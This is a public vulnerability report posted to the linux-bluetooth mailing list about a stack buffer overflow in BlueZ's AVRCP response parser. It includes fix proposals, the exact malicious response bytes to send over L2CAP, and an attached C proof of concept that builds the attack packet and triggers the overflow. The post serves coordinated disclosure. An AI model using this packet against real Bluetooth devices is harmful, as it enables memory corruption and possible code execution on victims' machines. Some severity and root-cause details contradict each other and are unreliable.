From: Rock <1720274440@qq.com>
To: linux-bluetooth <linux-bluetooth@vger.kernel.org>
Subject: [PATCH 0/1] avrcp: fix stack buffer overflow in avrcp_list_player_attributes_rsp
Date: Fri, 28 Aug 2026 07:29:50 +0800 [thread overview]
Message-ID: <tencent_789D8392465AC7DB2F6AE432F0D599EA2407@qq.com> (raw)
[-- Attachment #1.1: Type: text/plain, Size: 9878 bytes --]
## Summary
A stack buffer overflow exists in `avrcp_list_player_attributes_rsp()` in
`profiles/audio/avrcp.c`. An attacker-controlled `len` byte in an
AVRCP `LIST_PLAYER_ATTRIBUTES` response causes the function to write up
to 252 bytes past the end of a 4-byte stack buffer, corrupting the saved
frame pointer, return address, and adjacent stack state.
## Severity
- **CVSS v3.1 (proposed):** 6.8 / Medium-High
- **Vector:** AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CWE:** CWE-120 (Buffer Copy without Checking Size of Input)
Adjacent-network attacker (Bluetooth radio range). Paired as an AVRCP
controller, or via a BLUFF-class attack against an unpaired victim.
The vulnerability is reachable by any attacker who can deliver a
crafted L2CAP AVRCP response.
## Affected versions
- BlueZ 5.87 (latest release, 2026-07-07) — vulnerable
- All 5.x releases — likely vulnerable (untested)
- No fix in master as of 2026-08-27
## Location
`profiles/audio/avrcp.c`, function `avrcp_list_player_attributes_rsp()`,
lines 2393-2427:
```c
static gboolean avrcp_list_player_attributes_rsp(struct avctp *conn,
uint8_t code,
uint8_t subunit,
uint8_t transaction,
uint8_t *operands,
size_t operand_count,
void *user_data)
{
uint8_t attrs[AVRCP_ATTRIBUTE_LAST]; /* AVRCP_ATTRIBUTE_LAST = 0x04, so 4 bytes */
struct avrcp *session = user_data;
struct avrcp_header *pdu = (void *) operands;
uint8_t len, count = 0;
int i;
if (code == AVC_CTYPE_REJECTED || code == AVC_CTYPE_NOT_IMPLEMENTED)
return FALSE;
len = pdu->params[0]; /* attacker-controlled, uint8_t (0..255) */
if (be16_to_cpu(pdu->params_len) < count) {
error("Invalid parameters");
return FALSE;
}
for (i = 0; len > 0; len--, i++) {
if (pdu->params[i + 1] == AVRCP_ATTRIBUTE_ILEGAL ||
pdu->params[i + 1] > AVRCP_ATTRIBUTE_LAST)
continue;
attrs[count++] = pdu->params[i + 1]; /* OOB write past attrs[4] */
}
avrcp_get_current_player_value(session, attrs, count);
return FALSE;
}
```
## Root cause
Three compounding issues:
1. `AVRCP_ATTRIBUTE_LAST = 0x04`, so `attrs[4]` is only **4 bytes**.
2. `len = pdu->params[0]` is attacker-controlled (uint8_t, 0..255).
3. The loop `for (i = 0; len > 0; len--, i++)` iterates up to 255 times.
4. Each valid attribute byte increments `count`, writing to
`attrs[count++]` — no bound check on `count`.
The `if (be16_to_cpu(pdu->params_len) < count)` guard is a typo: `count`
is initialized to `0` and `params_len` is a uint16_t, so this
condition is **always false**. The original intent was almost certainly
`if (params_len < len + 1)` (verify the response carries at least
`len + 1` bytes of params).
## Stack effect
- `attrs[4]` → 4-byte stack buffer
- Up to 255 single-byte writes past the end of `attrs`
- Each write hits the next byte on the stack:
`attrs[5]` through `attrs[255]` — 252 bytes of stack overwrite
- This covers the saved frame pointer, return address, and any local
variables declared between `attrs` and the function epilogue.
## Trigger path
1. Victim device (the BlueZ host) sends `LIST_PLAYER_ATTRIBUTES`
request to a paired AVRCP target (headphones, speaker, etc.).
2. Attacker (controlling the target) replies with a crafted
`LIST_PLAYER_ATTRIBUTES` response:
- `params[0] = 0xFF` (the `len` byte)
- `params[1..255] = 0x01` (any byte in 1..4 range)
- `params_len = 0x0100` (256, big-endian)
3. BlueZ parses the response in `avrcp_list_player_attributes_rsp()`,
executes the vulnerable loop, and overwrites the stack.
An adjacent-network attacker can also exploit this via BLUFF
(Bluetooth Impersonation AttackS, 2023) against an unpaired victim.
## Proof of Concept (standalone, verified)
I produced a **standalone C reproduction** of the vulnerable function
and verified it with AddressSanitizer:
```bash
$ gcc -O0 -g -fsanitize=address -o poc_asan poc_avrcp.c
$ ./poc_asan
Built attack PDU of 263 bytes
params[0] = 0xff, params_len = 0x0100
=== Calling vulnerable function ===
=================================================================
==288977==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee039a284
WRITE of size 1 at 0x7ffee039a284 thread T0
#0 0x5eac65d276e1 in vulnerable_avrcp_list_player_attributes_rsp poc_avrcp.c:62
This frame has 1 object(s):
[32, 36) 'attrs' (line 37) <== Memory access at offset 36 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow
```
The standalone reproduction is attached (`poc_avrcp.c`). It models only
the parsing logic of `avrcp_list_player_attributes_rsp` — the
avctp/D-Bus/session machinery is stripped because the vulnerability is
in the parsing loop itself, not the surrounding plumbing.
A full Bluetooth-stack reproducer (using `socket.AF_BLUETOOTH` or
`pybluez`) that drives a real L2CAP connection to a paired device is
available on request, but is intentionally withheld from this public
draft.
## Attack PDU bytes (for reference)
```
Header (7 bytes):
00 19 58 company_id (IEEEID_BTSIG)
0B pdu_id (LIST_PLAYER_ATTRIBUTES)
00 packet_type=SINGLE, rsvd=0
01 00 params_len = 256 (big-endian)
Params (256 bytes):
FF len = 255
01 01 01 01 ... (255 bytes) any valid attribute 1..4
```
Total: 263 bytes. Send this as an AVRCP response over L2CAP PSM 0x0017
from a paired AVRCP target.
## Suggested fix
Three minimal options, in increasing order of robustness:
### Option 1 (one-line)
Add a bound check inside the loop:
```c
if (count >= AVRCP_ATTRIBUTE_LAST)
break;
```
### Option 2 (also bounds-check the read)
```c
for (i = 0; len > 0; len--, i++) {
if (i + 1 >= be16_to_cpu(pdu->params_len) || i + 1 >= operand_count)
break;
if (pdu->params[i + 1] == AVRCP_ATTRIBUTE_ILEGAL ||
pdu->params[i + 1] > AVRCP_ATTRIBUTE_LAST)
continue;
if (count >= AVRCP_ATTRIBUTE_LAST)
break;
attrs[count++] = pdu->params[i + 1];
}
```
### Option 3 (fix the broken guard)
The `if (be16_to_cpu(pdu->params_len) < count)` line is clearly
unintended — `count` starts at 0 and `params_len` is uint16. The
correct guard is something like:
```c
if (be16_to_cpu(pdu->params_len) < 1 ||
be16_to_cpu(pdu->params_len) - 1 < len) {
error("Invalid parameters");
return FALSE;
}
```
## Disclosure policy
This report is sent under the BlueZ project's standard process
(public, to linux-bluetooth@vger.kernel.org, since there is no
private reporting channel configured).
I have not publicly disclosed this vulnerability and will not do so
until BlueZ has cut a release with the fix and published a coordinated
advisory, or until 90 days from this report have elapsed, whichever
comes first.
I am willing to:
- Coordinate disclosure timing with your release schedule
- Provide a complete PoC reproducer (full Bluetooth stack) privately
- Submit a patch via `git-send-email` if useful
- Credit BlueZ in any public advisory text
Please let me know how you would like to proceed.
# Sender
xylove21 (GitHub: https://github.com/xylove21)
Rock
1720274440@qq.com
[-- Attachment #1.2: Type: text/html, Size: 37079 bytes --]
[-- Attachment #2: poc_avrcp.c --]
[-- Type: application/octet-stream, Size: 3090 bytes --]
/*
* PoC for bluez AVRCP stack buffer overflow
* (profiles/audio/avrcp.c: avrcp_list_player_attributes_rsp)
*
* Standalone reproduction of the vulnerable logic. Compile + run as
* described below. This is the *function-level* repro: whether the
* same logic in libbluetooth.so leads to RCE depends on stack layout
* there.
*
* gcc -O0 -fno-stack-protector -z execstack -o poc_avrcp poc_avrcp.c
* ./poc_avrcp
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <endian.h>
/* From bluez profiles/audio/avrcp.h */
#define AVRCP_ATTRIBUTE_ILEGAL 0x00
#define AVRCP_ATTRIBUTE_EQUALIZER 0x01
#define AVRCP_ATTRIBUTE_REPEAT_MODE 0x02
#define AVRCP_ATTRIBUTE_SHUFFLE 0x03
#define AVRCP_ATTRIBUTE_SCAN 0x04
#define AVRCP_ATTRIBUTE_LAST AVRCP_ATTRIBUTE_SCAN /* = 4 */
struct avrcp_header {
uint8_t company_id[3];
uint8_t pdu_id;
uint8_t packet_type_rsvd;
uint16_t params_len;
uint8_t params[];
} __attribute__((packed));
static int vulnerable_avrcp_list_player_attributes_rsp(
uint8_t code, uint8_t *operands, size_t operand_count, void *user_data)
{
uint8_t attrs[AVRCP_ATTRIBUTE_LAST]; /* 4 bytes */
struct avrcp_header *pdu = (void *) operands;
uint8_t len, count = 0;
int i;
(void)user_data;
(void)operand_count;
if (code == 0x0A /* AVC_CTYPE_REJECTED */ ||
code == 0x0B /* AVC_CTYPE_NOT_IMPLEMENTED */)
return 0;
len = pdu->params[0];
/* The broken guard: count is 0, params_len is u16, so this never
* triggers. Real intent was likely `if (params_len < len + 1)`. */
if (be16toh(pdu->params_len) < count) {
fprintf(stderr, "Invalid parameters\n");
return 0;
}
for (i = 0; len > 0; len--, i++) {
if (pdu->params[i + 1] == AVRCP_ATTRIBUTE_ILEGAL ||
pdu->params[i + 1] > AVRCP_ATTRIBUTE_LAST)
continue;
attrs[count++] = pdu->params[i + 1];
}
fprintf(stdout, "Post-overflow: count=%u, wrote %u bytes to attrs[4]\n",
(unsigned)count, (unsigned)count);
return 0;
}
static size_t build_attack_pdu(uint8_t *out, size_t out_size)
{
struct avrcp_header *pdu = (void *)out;
if (out_size < 7 + 256)
return 0;
pdu->company_id[0] = 0x00;
pdu->company_id[1] = 0x19;
pdu->company_id[2] = 0x58;
pdu->pdu_id = 0x0B; /* AVRCP_LIST_PLAYER_ATTRIBUTES */
pdu->packet_type_rsvd = 0x00;
pdu->params_len = htobe16(256);
pdu->params[0] = 0xFF; /* len = 255 */
memset(pdu->params + 1, 0x01, 255);
return 7 + 256;
}
int main(void)
{
uint8_t buf[1024] = {0};
size_t sz = build_attack_pdu(buf, sizeof(buf));
fprintf(stdout, "Built attack PDU of %zu bytes\n", sz);
fprintf(stdout, "params[0] = 0x%02x, params_len = 0x%02x%02x\n",
buf[7], buf[5], buf[6]);
fprintf(stdout, "\n=== Calling vulnerable function ===\n");
fflush(stdout);
vulnerable_avrcp_list_player_attributes_rsp(0x09, buf, sz, NULL);
fprintf(stdout, "\n[OK] No crash — function returned normally.\n");
return 0;
}
reply other threads:[~2026-08-27 23:31 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=tencent_789D8392465AC7DB2F6AE432F0D599EA2407@qq.com \
--to=1720274440@qq.com \
--cc=linux-bluetooth@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox